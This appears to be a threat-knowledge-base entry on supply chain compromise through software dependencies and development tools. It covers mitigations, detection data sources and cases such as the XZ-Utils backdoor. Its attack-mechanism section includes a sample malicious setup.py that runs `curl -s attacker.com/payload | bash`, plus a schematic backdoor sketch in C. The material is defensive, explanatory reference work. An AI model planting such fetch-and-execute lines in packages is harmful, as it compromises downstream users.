Info

ID: AT-GA005.001
Technique: Supply Chain Compromise
Tactic: Gain Access
Platforms: Linux, macOS, Windows
Supports Remote: Yes
Version: 1.0

Compromise Software Dependencies and Development Tools

This sub-technique involves attackers targeting software dependencies, development tools, and third-party libraries to gain unauthorized access to systems. During the "Gain Access" phase, adversaries compromise components in the software development or build process rather than directly attacking the primary target organization. By infiltrating package repositories, tampering with open source libraries, compromising build servers, or injecting malicious code into development tools, attackers create a trusted delivery mechanism for their malicious payloads. The compromised dependencies are then distributed to numerous downstream organizations through legitimate update channels, allowing attackers to gain initial access across multiple environments simultaneously. This approach is particularly effective because organizations typically have lower security scrutiny for trusted development components, and the malicious code inherits the trust level of the compromised dependency, circumventing traditional security controls that might otherwise detect direct attack attempts.

Procedure Examples

ID	Name	Description
AC-0001	ByBit $1.5B Crypto Heist	The weaponised Docker project was delivered to Developer 1 through a job-themed social-engineering lure, compromising the developer workstation and tool-chain.

Mitigations

ID	Mitigation	Description
M1045	Code Signing	Implement cryptographic verification of all software dependencies and development tools
M1016	Vulnerability Scanning	Regularly scan dependencies and development tools for known vulnerabilities
M1048	Application Isolation and Sandboxing	Isolate build environments and dependency resolution processes

Detection

ID	Data Source	Detection
DS0022	File Metadata	Alert when package archives, shared libraries, or build artefacts show checksum, signature, or version fields that deviate from the pinned lock file or trusted source.
DS0015	Application Log	Detect CI/CD or build-system logs that introduce previously unseen direct or transitive dependencies, especially those fetched from external registries.
DS0009	Process	Watch for execution of compiler or packager binaries located outside approved tool paths, or for runtime flags that disable security checks.
DS0029	Network Traffic Content	Behavioral Analysis – flag development tools initiating anomalous outbound connections, bulk package downloads, or C2-like traffic patterns during the build process.

Examples in the Wild

Notable Software Dependency Compromises:

XZ-Utils Backdoor (CVE-2024-3094) The XZ-Utils backdoor represents a critical compromise of a fundamental Linux system dependency. The attacker (JiaT75) gained maintainer access through social engineering and inserted a sophisticated backdoor into versions 5.6.0 and 5.6.1. The malicious code specifically targeted SSH authentication mechanisms and affected major Linux distributions including Fedora, RHEL, and Debian. The attack's impact was magnified by xz-utils' role as a core system dependency, affecting thousands of downstream packages and applications.

PyLoose Package Compromise The PyLoose attack demonstrated sophisticated Python package compromise techniques. Attackers created malicious versions of popular Python packages by exploiting loose package naming conventions. The attack chain involved creating packages with names similar to legitimate ones (typosquatting) and injecting malicious code that would execute during package installation or import. This affected multiple organizations and highlighted the risks of automatic dependency resolution in modern development environments.

NetSarang ShadowPad Backdoor The NetSarang ShadowPad backdoor showed how development tool compromise can affect enterprise software. Attackers inserted a sophisticated backdoor into NetSarang's software build process, affecting enterprise products like XmanagerEnterprise and Xftp. The backdoor remained dormant until activated by attacker-controlled DNS requests, demonstrating advanced persistence techniques in compromised development tools.

Attack Mechanism

Common Dependency Compromise Techniques:

1. Package Repository Infiltration

   # Example of malicious package setup
   from setuptools import setup
   
   def malicious_code():
       # Payload disguised as initialization
       import os
       os.system("curl -s attacker.com/payload | bash")
   
   setup(
       name="legitimate-package",
       version="1.0.0",
       packages=["legitimate_package"],
       install_requires=[
           "requests>=2.25.0",
           "cryptography>=3.4.0"
       ]
   )
   

2. Development Tool Backdoors

   // XZ-Utils style backdoor in system library
   int process_stream(stream_t *strm) {
       if (check_condition()) {
           // Legitimate processing
           return process_normal(strm);
       } else if (is_target_process()) {
           // Hidden backdoor
           return inject_payload(strm);
       }
       return LZMA_OK;
   }
   

3. Dependency Chain Attacks

   # Dependency chain exploitation
   package:
     name: "trusted-lib"
     dependencies:
       - name: "compromised-dep"
         version: ">=2.0.0"
         # Malicious code activated through
         # transitive dependency